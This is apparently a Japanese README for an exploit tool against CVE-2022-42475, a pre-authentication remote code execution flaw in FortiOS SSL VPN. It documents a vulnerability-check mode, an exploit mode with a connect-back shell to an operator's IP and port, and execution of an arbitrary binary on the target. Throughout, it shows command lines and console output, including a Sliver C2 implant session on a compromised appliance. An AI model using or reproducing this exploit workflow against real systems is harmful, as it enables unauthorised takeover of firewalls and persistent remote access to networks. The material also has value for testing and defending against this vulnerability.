CVE-2022-42475のエクスプロイト。FortiOS SSL VPNにおける事前認証RCEです。検証、無害な確認、およびリモートアクセス用のコネクトバックシェルコードと暗号化バイナリステージャーを用いた完全な悪用をサポートします。
これは、以下のブログ記事のエクスプロイトです: https://bishopfox.com/blog/exploit-cve-2022-42475
このエクスプロイトのバージョンは、ハッカーであるあなたがROPガジェットなどに必要なメモリアドレスを提供しない限り動作しません。これらのデータを特定する作業はBishop Foxの機密かつ専有情報であり、私はこのエクスプロイトと共に公開しません(できません)。ご理解いただければ幸いです。
execve(binary_file) を呼び出します。注意: 現時点では、「検証のみ」モードは既知のすべてのFortiOSバージョンで動作します。しかし、エクスプロイトはFortiOS 6.0.4 on 100Dハードウェアに対して_のみ_動作します。私は現在BFで働いていないため、約18kのターゲットをサポートする拡張エクスプロイトを公開できません。
pip3 install PyCrypto
pip3 install pycryptodome
このモードではバグをエクスプロイトしようとはせず、代わりにクラッシュとしてトリガーします(リモートSSL VPNデーモンは自動的に即座に再起動します)。クラッシュはヒューリスティックに検出され、オペレーターに報告されます。
-v 検証フラグを使用して実行します:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 検証モードで実行中。RCEなし。
[>] ターゲットが脆弱かどうかをテスト中(約10秒かかる場合があります)
[+] ターゲット '192.168.0.10:8443' は脆弱である可能性があります(VULNERABLE)
このモードではバグをトリガーし、ROPチェーンを展開し、シェルコードにジャンプします。シェルコードは無害で、以下のように動作します:
0xbf を送信する/tmp/x に保存する0xbf バイトを送信するフラグ:
-t ターゲットホスト/IP
-p ターゲットポート
-e エクスプロイトモード
-c コネクトバックのみのモード
-H と -P オペレーターのIP:ポート(必須)
-s FortiOS のソフトウェアバージョン(必須)
-m FortiOS が動作しているハードウェアモデル
-d デバッグ出力を有効化
ソフトウェアバージョン 6.0.4 とアプライアンスモデル 100D の両方を選択した例:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] ペイロードを暗号化するためのランダムな128ビットAES鍵を生成中
[+] ペイロードを暗号化中...
[+] キャッシュされたシェルコードを使用中。強制的にリフレッシュするには、./x.py 内の 'shellcode.s' を編集してください。
[+] 192.168.0.99:443 へのコネクトバック用に設定
[+] 暗号化ペイロードリスナーを起動中...
[+] エクスプロイトの準備中...
[+] リクエスト送信中!
[+] 'exploit_data.json' からガジェットをインポート中
[<] リスナーがポート443にバインドされ、コネクトバックを待機中...
[+] ガジェットを検証中...
[!] FortiOS '5.2.14' に対して機能的なハードウェアモデルが定義されていません。削除されました。
[!] FortiOS '5.6.9' に対して機能的なハードウェアモデルが定義されていません。削除されました。
[+] 797のターゲットをインポートしました:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] エクスプロイトを開始中
[<] 192.168.0.10:22470 からの着信要求
[<] ターゲットからhelloパケットを受信しました!! モデル番号: 100D
[<] 36バイトの暗号化ペイロードを送信中
[<] ペイロードの送信完了 (36バイト)、応答待ち...
[<] 期待された応答 ('100D') を192.168.0.10から受信しました
[<] ターゲットは100%の確信度で脆弱(VULNERABLE)です。
[+] すべて完了!
-m でハードウェアモデルを指定しない場合、エクスプロイトは指定されたソフトウェアバージョンに対してすべてのハードウェアターゲットをブルートフォースします。
0xbf を送信する/tmp/x に保存する0xbf バイトをエクスプロイトに送信するexecve("/tmp/x") を呼び出すフラグ:
-t ターゲットホスト/IP
-p ターゲットポート
-e エクスプロイトモード
-f filename ターゲット上で execve するバイナリのパス
-H と -P コネクトバック用のオペレーターのIP:ポート(必須)
-s FortiOS のソフトウェアバージョン(必須)
-m FortiOS が動作しているハードウェアモデル
-d デバッグ出力を有効化
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
エクスプロイト:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] エクスプロイトはターゲット上で execve("implant5") を試みます
...
[<] ターゲットは100%の確信度で脆弱(VULNERABLE)です。
[+] すべて完了。
そしてSliver側:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
Sliverが <err> を返すことに注意してください。これはFortiOSがLinuxにかなり似ているが、期待通りに動作しないことがあるためです。これはSliverの問題ではなく、FortiOS側の問題です。
私は現在Bishop Foxで働いていないため、アップデートについてはBFのGitHubをフォローしてください。